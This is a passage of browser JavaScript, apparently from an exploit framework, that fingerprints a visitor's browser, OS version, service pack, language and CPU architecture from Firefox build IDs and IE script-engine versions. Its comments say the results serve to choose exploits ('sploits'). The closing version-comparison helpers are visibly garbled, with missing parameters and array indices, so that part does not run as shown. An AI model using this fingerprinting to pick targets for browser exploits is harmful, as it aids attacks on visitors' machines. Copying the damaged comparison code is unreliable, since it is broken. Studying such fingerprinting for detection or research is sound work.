ua_version = "3.5.7"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; case "20100106212742": ua_version = "3.5.7"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; case "20100106215614": ua_version = "3.5.7"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; case "20100110112429": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Mandriva"; break; case "20100115132715": ua_version = "3.6.0"; os_name = oses_mac_osx; break; case "20100115133306": ua_version = "3.6.0"; os_name = oses_linux; break; case "20100115144158": ua_version = "3.6.0"; os_name = oses_windows; break; case "20100125074043": ua_version = "3.6.0"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 case "20100125074127": ua_version = "3.6.0"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 case "20100125204847": ua_version = "3.6.0"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86; break; // Could also be Mint x86 case "20100125204903": ua_version = "3.6.0"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86_64; break; // Could also be Mint x86-64 case "20100202152834": ua_version = "3.5.8"; os_name = oses_mac_osx; break; case "20100202153512": ua_version = "3.5.8"; os_name = oses_linux; break; case "20100202165920": ua_version = "3.5.8"; os_name = oses_windows; break; case "2010020219": ua_version = "3.0.18"; os_name = oses_mac_osx; break; case "2010020220": ua_version = "3.0.18"; os_name = oses_windows; break; case "2010020400": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "SUSE"; break; case "20100212131909": ua_version = "3.6.0.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100212132013": ua_version = "3.6.0.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100216105329": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; case "20100216105348": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; case "20100216105410": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; case "20100216110009": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; case "2010021718": ua_version = "3.0.18"; os_name = oses_linux; os_flavor = "CentOS"; arch = arch_x86; break; case "20100218022359": ua_version = "3.6.0.4"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100218022705": ua_version = "3.6.0.4"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100218112915": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break; case "20100222120605": ua_version = "3.6.0.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100222120717": ua_version = "3.6.0.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100301015346": ua_version = "3.6.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; case "20100305054927": ua_version = "3.6.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; case "20100307204001": ua_version = "3.6.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; case "20100308142847": ua_version = "3.6.0.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100308151019": ua_version = "3.6.0.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "2010031218": ua_version = "3.0.19"; break; // Mac OS X or Linux case "2010031422": ua_version = "3.0.19"; os_name = oses_windows; break; case "20100315075757": ua_version = "3.5.9"; os_name = oses_linux; break; case "20100315080228": ua_version = "3.5.9"; os_name = oses_mac_osx; break; case "20100315083431": ua_version = "3.5.9"; os_name = oses_windows; break; case "20100316055951": ua_version = "3.6.2"; os_name = oses_mac_osx; break; case "20100316060223": ua_version = "3.6.2"; os_name = oses_linux; break; case "20100316074819": ua_version = "3.6.2"; os_name = oses_windows; break; case "2010031700": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "SUSE"; break; case "20100323102218": ua_version = "3.6.2"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; case "20100323102339": ua_version = "3.6.2"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; case "20100323194640": ua_version = "3.6.2"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; case "20100324182054": ua_version = "3.6.2"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; case "20100330071911": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; case "20100330072017": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; case "20100330072020": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; case "20100330072034": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; case "20100401064631": ua_version = "3.6.3"; os_name = oses_mac_osx; break; case "20100401074458": ua_version = "3.6.3"; os_name = oses_linux; break; case "20100401080539": ua_version = "3.6.3"; os_name = oses_windows; break; case "20100401144201": ua_version = "3.6.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2010040116": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2010040118": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2010040119": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100401213457": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2010040121": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "2010040123": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "2010040200": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100402010516": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Mint"; arch = arch_x86_64; break; case "20100402041908": ua_version = "3.6.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100403042003": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; case "20100403082016": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; case "20100404024515": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100404024646": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100404104043": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "PClinuxOS"; arch = arch_x86_64; break; case "20100409151117": ua_version = "3.6.3.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100409170726": ua_version = "3.6.3.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100412125148": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break; case "20100413152922": ua_version = "3.6.4.b1"; os_name = oses_mac_osx; break; case "20100413154310": ua_version = "3.6.4.b1"; os_name = oses_linux; break; case "20100413172113": ua_version = "3.6.4.b1"; os_name = oses_windows; break; case "20100415062243": ua_version = "3.6.3.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100415103754": ua_version = "3.6.3.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100416101101": ua_version = "3.6.3.2"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break; case "2010041700": ua_version = "3.6.4.1"; os_name = oses_linux; os_flavor = "SUSE"; break; case "20100419015333": ua_version = "3.6.3"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; case "20100423043606": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86_64; break; case "20100423140709": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100423141150": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100423142835": ua_version = "3.6.3"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; case "20100502202326": ua_version = "3.6.4.b2"; os_name = oses_linux; break; case "20100502202401": ua_version = "3.6.4.b2"; os_name = oses_mac_osx; break; case "20100502221517": ua_version = "3.6.4.b2"; os_name = oses_windows; break; case "20100503113315": ua_version = "3.6.4.b3"; os_name = oses_mac_osx; break; case "20100503113541": ua_version = "3.6.4.b3"; os_name = oses_linux; break; case "20100503122926": ua_version = "3.6.4.b3"; os_name = oses_windows; break; case "20100504085637": ua_version = "3.5.10"; os_name = oses_linux; break; case "20100504085753": ua_version = "3.5.10"; os_name = oses_mac_osx; break; case "20100504093643": ua_version = "3.5.10"; os_name = oses_windows; break; case "2010050600": ua_version = "3.5.10"; os_name = oses_linux; os_flavor = "SUSE"; break; case "2010051300": ua_version = "3.6.4.1"; os_name = oses_linux; os_flavor = "SUSE"; break; case "20100513134853": ua_version = "3.6.4.b4"; os_name = oses_mac_osx; break; case "20100513140540": ua_version = "3.6.4.b4"; os_name = oses_linux; break; case "20100513144105": ua_version = "3.6.4.b4"; os_name = oses_windows; break; case "20100513190740": ua_version = "3.6.3"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; case "20100523180910": ua_version = "3.6.4.b5"; os_name = oses_mac_osx; break; case "20100523181754": ua_version = "3.6.4.b5"; os_name = oses_linux; break; case "20100523185824": ua_version = "3.6.4.b5"; os_name = oses_windows; break; case "20100527084110": ua_version = "3.6.4.b6"; os_name = oses_mac_osx; break; case "20100527085242": ua_version = "3.6.4.b6"; os_name = oses_linux; break; case "20100527093236": ua_version = "3.6.4.b6"; os_name = oses_windows; break; case "2010061100": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "SUSE"; break; case "20100611134546": ua_version = "3.6.4.b7"; os_name = oses_mac_osx; break; case "20100611135942": ua_version = "3.6.4.b7"; os_name = oses_linux; break; case "20100611143157": ua_version = "3.6.4.b7"; os_name = oses_windows; break; case "20100622203044": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; case "20100622203045": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; case "20100622204750": ua_version = "3.5.10"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; case "20100622204830": ua_version = "3.5.10"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; case "20100622205038": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "PClinuxOS"; arch = arch_x86_64; break; case "20100623081410": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "CentOS"; arch = arch_x86_64; break; case "20100623081921": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "CentOS"; arch = arch_x86; break; case "20100623155731": ua_version = "3.6.4.b7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100623200132": ua_version = "3.6.4.b7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100625222733": ua_version = "3.6.6"; os_name = oses_linux; break; case "20100625223402": ua_version = "3.6.6"; os_name = oses_mac_osx; break; case "20100625231939": ua_version = "3.6.6"; os_name = oses_windows; break; case "20100626104508": ua_version = "3.6.4"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; case "20100627211341": ua_version = "3.6.4"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; case "20100628082832": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "PClinuxOS"; arch = arch_x86_64; break; case "20100628124739": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100628143222": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100628232431": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100629034705": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100629105354": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break; case "20100630130433": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100630131607": ua_version = "4.0.0.b1"; os_name = oses_mac_osx; break; case "20100630132217": ua_version = "4.0.0.b1"; os_name = oses_linux; break; case "20100630141702": ua_version = "4.0.0.b1"; os_name = oses_windows; break; case "20100630174226": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86_64; break; case "20100630180611": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86; break; case "20100709115208": ua_version = "3.6.7.b1"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20100709183408": ua_version = "3.6.7.b1"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100716093011": ua_version = "3.6.7.b2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20101203075014": ua_version = "3.6.13"; os_name = oses_windows; break; case "20101206122825": ua_version = "3.6.13"; os_name = oses_linux; os_flavor = "Ubuntu"; break; case "20110318052756": ua_version = "4.0"; os_name = oses_windows; break; // browsershots: Firefox 4.0 / Windows XP case "20110420144310": ua_version = "3.5.19"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 3.5.19 / Debian 4.0 (Etch) case "20110615151330": ua_version = "5.0"; os_name = oses_windows; break; // browsershots: Firefox 5.0 / Windows XP case "20110811165603": ua_version = "6.0"; os_name = oses_windows; break; // browsershots: Firefox 6.0 / Windows XP case "20110830092941": ua_version = "6.0.1"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 6.0.1 / Debian 4.0 (Etch) case "20110922153450": ua_version = "7.0"; os_name = oses_windows; break; // browsershots: Firefox 7.0 / Windows XP case "20110928134238": ua_version = "7.0.1"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 7.0.1 / Debian 4.0 (Etch) case "20111104165243": ua_version = "8.0"; os_name = oses_windows; break; // browsershots: Firefox 8.0 / Windows XP case "20111115183813": ua_version = "8.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // browsershots: Firefox 8.0 / Ubuntu 9.10 (Karmic Koala) case "20111216140209": ua_version = "9.0"; os_name = oses_windows; break; // browsershots: Firefox 9.0 / Windows XP case "20120129021758": ua_version = "10.0"; os_name = oses_windows; break; // browsershots: Firefox 10.0 / Windows 2000 case "20120201083324": ua_version = "3.5.16"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Iceweasel 3.5.16 / Debian 4.0 (Etch) case "20120216013254": ua_version = "3.6.27"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 3.6.27 / Debian 4.0 (Etch) case "20120216100510": ua_version = "10.0.2"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // browsershots: Firefox 10.0.2 / Ubuntu 9.10 (Karmic Koala) case "20120310010316": ua_version = "11.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // browsershots: Firefox 11.0 / Ubuntu 9.10 (Karmic Koala) case "20120310194926": ua_version = "11.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break; case "20120312181643": // It is disconcerting that a buildID is the same on Windows // and Mac, need to examine more versions on Mac. ua_version = "11.0"; if (/Mac/.test(navigator.oscpu)) { os_name = oses_mac_osx; } else { os_name = oses_windows; // browsershots: Firefox 11.0 / Windows XP } break; case "20120314195616": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 12.0 / Debian 4.0 (Etch) case "20120423142301": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break; case "20120424151700": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Fedora"; break; default: version = this.searchVersion("Firefox", navigator.userAgent); // Verify whether the ua string is lying by checking if it contains // the major version we detected using known objects above. If it // appears to be truthful, then use its more precise version number. if (version && version.split(".")[0] == ua_version.split(".")[0]) { // The version number will sometimes end with a space or end of // line, so strip off anything after a space if one exists if (-1 != version.indexOf(" ")) { version = version.substr(0,version.indexOf(" ")); } ua_version = version; } else { ua_is_lying = true; } break; } //if (ua_is_lying) { alert("UA is lying"); } //alert(ua_version + " vs " + navigator.userAgent); // end navigator.buildID checks } else if (typeof ScriptEngineMajorVersion == "function") { // Then this is IE and we can very reliably detect the OS. // Need to add detection for IE on Mac. Low priority, since we // don't have any sploits for it yet and it's a very low market // share. os_name = oses_windows; ua_name = clients_ie; version = ScriptEngineMajorVersion().toString(); version += ScriptEngineMinorVersion().toString(); version += ScriptEngineBuildVersion().toString(); //document.write("ScriptEngine: "+version+"<br />"); switch (version){ case "514615": // IE 5.00.2920.0000, 2000 Advanced Server SP0 English ua_version = "5.0"; os_flavor = "2000"; os_sp = "SP0"; break; case "515907": os_flavor = "2000"; os_sp = "SP3"; //or SP2: oCC.getComponentVersion('{22d6f312-b0f6-11d0-94ab-0080c74c7e95}', 'componentid') => 6,4,9,1109 break; case "518513": os_flavor = "2000"; os_sp = "SP4"; break; case "566626": // IE 6.0.2600.0000, XP SP0 English // IE 6.0.2800.1106, XP SP1 English ua_version = "6.0"; os_flavor = "XP"; os_sp = "SP0"; break; case "568515": // IE 6.0.3790.0, 2003 Standard SP0 English ua_version = "6.0"; os_flavor = "2003"; os_sp = "SP0"; break; case "568820": // IE 6.0.2900.2180, xp sp2 english os_flavor = "XP"; os_sp = "SP2"; break; case "568827": os_flavor = "2003"; os_sp = "SP1"; break; case "568831": //XP SP2 -OR- 2K SP4 if (os_flavor == "2000"){ os_sp = "SP4"; } else{ os_flavor = "XP"; os_sp = "SP2"; } break; case "568832": os_flavor = "2003"; os_sp = "SP2"; break; case "568837": // IE 6.0.2900.2180, XP Professional SP2 Korean ua_version = "6.0"; os_flavor = "XP"; os_sp = "SP2"; break; case "5716599": // IE 7.0.5730.13, XP Professional SP3 English // IE 6.0.2900.5512, XP Professional SP3 English // IE 6.0.2900.5512, XP Professional SP3 Spanish // // Since this scriptengine applies to more than one major version of // IE, rely on the object detection below to determine ua_version. //ua_version = "6.0"; os_flavor = "XP"; os_sp = "SP3"; break; case "575730": // IE 7.0.5730.13, Server 2003 Standard SP2 English // IE 7.0.5730.13, Server 2003 Standard SP1 English // IE 7.0.5730.13, XP Professional SP2 English // Rely on the user agent matching above to determine the OS. // This will incorrectly identify 2k3 SP1 as SP2 ua_version = "7.0"; os_sp = "SP2"; break; case "5718066": // IE 7.0.5730.13, XP Professional SP3 English ua_version = "7.0"; os_flavor = "XP"; os_sp = "SP3"; break; case "5722589": // IE 7.0.5730.13, XP Professional SP3 English ua_version = "7.0"; os_flavor = "XP"; os_sp = "SP3"; break; case "576000": // IE 7.0.6000.16386, Vista Ultimate SP0 English ua_version = "7.0"; os_flavor = "Vista"; os_sp = "SP0"; break; case "580": // IE 8.0.7100.0, Windows 7 English // IE 8.0.7100.0, Windows 7 64-bit English case "5816385": // IE 8.0.7600.16385, Windows 7 English case "5816475": case "5816762": // IE 8.0.7600.16385, Windows 7 English ua_version = "8.0"; os_flavor = "7"; os_sp = "SP0"; break; case "5817514": // IE 8.0.7600.17514, Windows 7 SP1 English ua_version = "8.0"; os_flavor = "7"; os_sp = "SP1"; break; case "5818702": // IE 8.0.6001.18702, XP Professional SP3 English case "5822960": // IE 8.0.6001.18702, XP Professional SP3 Greek ua_version = "8.0"; os_flavor = "XP"; os_sp = "SP3"; break; case "9016406": // IE 9.0.7930.16406, Windows 7 64-bit ua_version = "9.0"; os_flavor = "7"; os_sp = "SP0"; break; case "9016441": // IE 9.0.8112.16421, Windows 7 32-bit English ua_version = "9.0"; os_flavor = "7"; os_sp = "SP1"; break; case "9016443": // IE 9.0.8112.16421, Windows 7 Polish // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) ua_version = "9.0"; os_flavor = "7"; os_sp = "SP1"; break; case "9016446": // IE 9.0.8112.16421, Windows 7 English (Update Versions: 9.0.7 (KB2699988) // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2) ua_version = "9.0"; os_flavor = "7"; os_sp = "SP1"; break; case "9016464": // browsershots.org, MSIE 7.0 / Windows 2008 R2 os_flavor = "2008R2"; ua_version = "9.0"; break; case "9016470": // IE 9.0.8112.16421 / Windows 7 SP1 ua_version = "9.0"; os_flavor = "7"; os_sp = "SP1"; break; case "9016502": // IE 9.0.8112.16502 / Windows 7 SP1 ua_version = "9.0"; os_flavor = "7"; os_sp = "SP1"; break; case "9016506": // IE 9.0.8112.16506 / Windows 7 SP1 ua_version = "9.0"; os_flavor = "7"; os_sp = "SP1"; break; case "9016514": // IE 9.0.8112.16514 / Windows 7 SP1 ua_version = "9.0"; os_flavor = "7"; os_sp = "SP1"; break; case "9016520": // IE 9.0.8112.16520 / Windows 7 SP1 ua_version = "9.0"; os_flavor = "7"; os_sp = "SP1"; break; case "9016526": // IE 9.0.8112.16526 / Windows 7 SP1 ua_version = "9.0"; os_flavor = "7"; os_sp = "SP1"; break; case "9016533": // IE 9.0.8112.16533 / Windows 7 SP1 ua_version = "9.0"; os_flavor = "7"; os_sp = "SP1"; break; case "10016720": // IE 10.0.9200.16721 / Windows 7 SP1 ua_version = "10.0"; os_flavor = "7"; os_sp = "SP1"; break; case "11016428": // IE 11.0.9600.16428 / Windows 7 SP1 ua_version = "11.0"; os_flavor = "7"; os_sp = "SP1"; break; case "10016384": // IE 10.0.9200.16384 / Windows 8 x86 ua_version = "10.0"; os_flavor = "8"; os_sp = "SP0"; break; case "1000": // IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release ua_version = "10.0"; os_flavor = "8"; os_sp = "SP0"; break; default: unknown_fingerprint = version; break; } if (!ua_version) { // The ScriptEngine functions failed us, try some object detection if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") { // IE 11 detection, see: Compatibility changes in IE11 (Windows) try { if (document.__proto__ != undefined) { ua_version = "11.0"; } } catch (e) {} // IE 10 detection using nodeName if (!ua_version) { try { var badNode = document.createElement && document.createElement("badname"); if (badNode && badNode.nodeName === "BADNAME") { ua_version = "10.0"; } } catch(e) {} } // IE 9 detection based on a "Object doesn't support property or method" error if (!ua_version) { try { document.BADNAME(); } catch(e) { if (e.message.indexOf("BADNAME") > 0) { ua_version = "9.0"; } } } // IE8 detection straight from IEBlog. Thank you Microsoft. if (!ua_version) { try { ua_version = "8.0"; document.documentElement.style.display = "table-cell"; } catch(e) { // This executes in IE7, // but not IE8, regardless of mode ua_version = "7.0"; } } } else if (document.compatMode) { ua_version = "6.0"; } else if (window.createPopup) { ua_version = "5.5"; } else if (window.attachEvent) { ua_version = "5.0"; } else { ua_version = "4.0"; } switch (navigator.appMinorVersion){ case ";SP2;": ua_version += ";SP2"; break; } } } if (!os_name && navigator.platform == "Win32") { os_name = oses_windows; } //-- // Flavor //-- if (!ua_is_lying) { version = useragent.toLowerCase(); } else if (navigator.oscpu) { // Then this is Gecko and we can get at least os_name without the // useragent version = navigator.oscpu.toLowerCase(); } else { // All we have left is the useragent and we know it's lying, so don't bother version = " "; } if (!os_name || 0 == os_name.length) { if (version.indexOf("windows") != -1) { os_name = oses_windows; } else if (version.indexOf("mac") != -1) { os_name = oses_mac_osx; } else if (version.indexOf("linux") != -1) { os_name = oses_linux; } } if (os_name == oses_windows && (!os_flavor || 0 == os_flavor.length)) { if (version.indexOf("windows 95") != -1) { os_flavor = "95"; } else if (version.indexOf("windows nt 4") != -1) { os_flavor = "NT"; } else if (version.indexOf("win 9x 4.9") != -1) { os_flavor = "ME"; } else if (version.indexOf("windows 98") != -1) { os_flavor = "98"; } else if (version.indexOf("windows nt 5.0") != -1) { os_flavor = "2000"; } else if (version.indexOf("windows nt 5.1") != -1) { os_flavor = "XP"; } else if (version.indexOf("windows nt 5.2") != -1) { os_flavor = "2003"; } else if (version.indexOf("windows nt 6.0") != -1) { os_flavor = "Vista"; } else if (version.indexOf("windows nt 6.1") != -1) { os_flavor = "7"; } else if (version.indexOf("windows nt 6.2") != -1) { os_flavor = "8"; } } if (os_name == oses_linux && (!os_flavor || 0 == os_flavor.length)) { if (version.indexOf("gentoo") != -1) { os_flavor = "Gentoo"; } else if (version.indexOf("ubuntu") != -1) { os_flavor = "Ubuntu"; } else if (version.indexOf("debian") != -1) { os_flavor = "Debian"; } else if (version.indexOf("rhel") != -1) { os_flavor = "RHEL"; } else if (version.indexOf("red hat") != -1) { os_flavor = "RHEL"; } else if (version.indexOf("centos") != -1) { os_flavor = "CentOS"; } else if (version.indexOf("fedora") != -1) { os_flavor = "Fedora"; } else if (version.indexOf("android") != -1) { os_flavor = "Android"; } } //-- // Language //-- if (navigator.systemLanguage) { // ie os_lang = navigator.systemLanguage; } else if (navigator.language) { // gecko derivatives, safari, opera os_lang = navigator.language; } else { // some other browser and we don't know how to get the language, so // just guess english os_lang = "en"; } //-- // Architecture //-- if (typeof(navigator.cpuClass) != 'undefined') { // Then this is IE or Opera9+ and we can grab the arch directly switch (navigator.cpuClass) { case "x86": arch = arch_x86; break; case "x64": arch = arch_x86_64; break; } } if (!arch || 0 == arch.length) { // We don't have the handy-dandy navagator.cpuClass, so infer from // platform version = navigator.platform; //document.write(version + "\\n"); // IE 8 does a bit of wacky user-agent switching for "Compatibility View"; // 64-bit client on Windows 7, 64-bit: // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0) // 32-bit client on Windows 7, 64-bit: // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0) // 32-bit client on Vista, 32-bit, "Compatibility View": // Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0) // // Report 32-bit client on 64-bit OS as being 32 because exploits will // need to know the bittedness of the process, not the OS. if ( ("Win32" == version) || (version.match(/i.86/)) ) { arch = arch_x86; } else if (-1 != version.indexOf('x64') || (-1 != version.indexOf('x86_64'))) { arch = arch_x86_64; } else if (-1 != version.indexOf('PPC')) { arch = arch_ppc; } } this.ua_is_lying = ua_is_lying; this.os_name = os_name; this.os_flavor = os_flavor; this.os_sp = os_sp; this.os_lang = os_lang; this.arch = arch; this.ua_name = ua_name; this.ua_version = ua_version; this.ua_version = ua_version; return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version }; }; // function getVersion window.os_detect.searchVersion = function(needle, haystack) { var index = haystack.indexOf(needle); var found_version; if (index == -1) { return; } found_version = haystack.substring(index+needle.length+1); if (found_version.indexOf(' ') != -1) { // Strip off any junk at the end such as a CLR declaration found_version = found_version.substring(0,found_version.indexOf(' ')); } return found_version; }; /* * Return -1 if a < b, 0 if a == b, 1 if a > b */ window.ua_ver_cmp = function(ver_a, ver_ { // shortcut the easy case if (ver_a == ver_ { return 0; } a = ver_a.split("."); b = ver_b.split("."); for (var i = 0; i < Math.max(a.length, b.length); i++) { // 3.0 == 3 if (!b) { b = "0"; } if (!a) { a = "0"; } if (a == b) { continue; } a_int = parseInt(a); b_int = parseInt(b); a_rest = a.substr(a_int.toString().length); b_rest = b.substr(b_int.toString().length); if (a_int < b_int) { return -1; } else if (a_int > b_int) { return 1; } else { // == // Then we need to deal with the stuff after the ints, e.g.: // "b4pre" if (a_rest == "b" && b_rest.length == 0) { return -1; } if (b_rest == "b" && a_rest.length == 0) { return 1; } // Just give up and try a lexicographical comparison if (a_rest < b_rest) { return -1; } else if (a_rest > b_rest) { return 1; } } } // If we get here, they must be equal return 0; }; window.ua_ver_lt = function(a, { if (-1 == this.ua_ver_cmp(a,) { return true; } return false; }; window.ua_ver_gt = function(a, { if (1 == this.ua_ver_cmp(a,) { return true; } return false; }; window.ua_ver_eq = function(a, { if (0 == this.ua_ver_cmp(a,) { return true; } return false; };
-
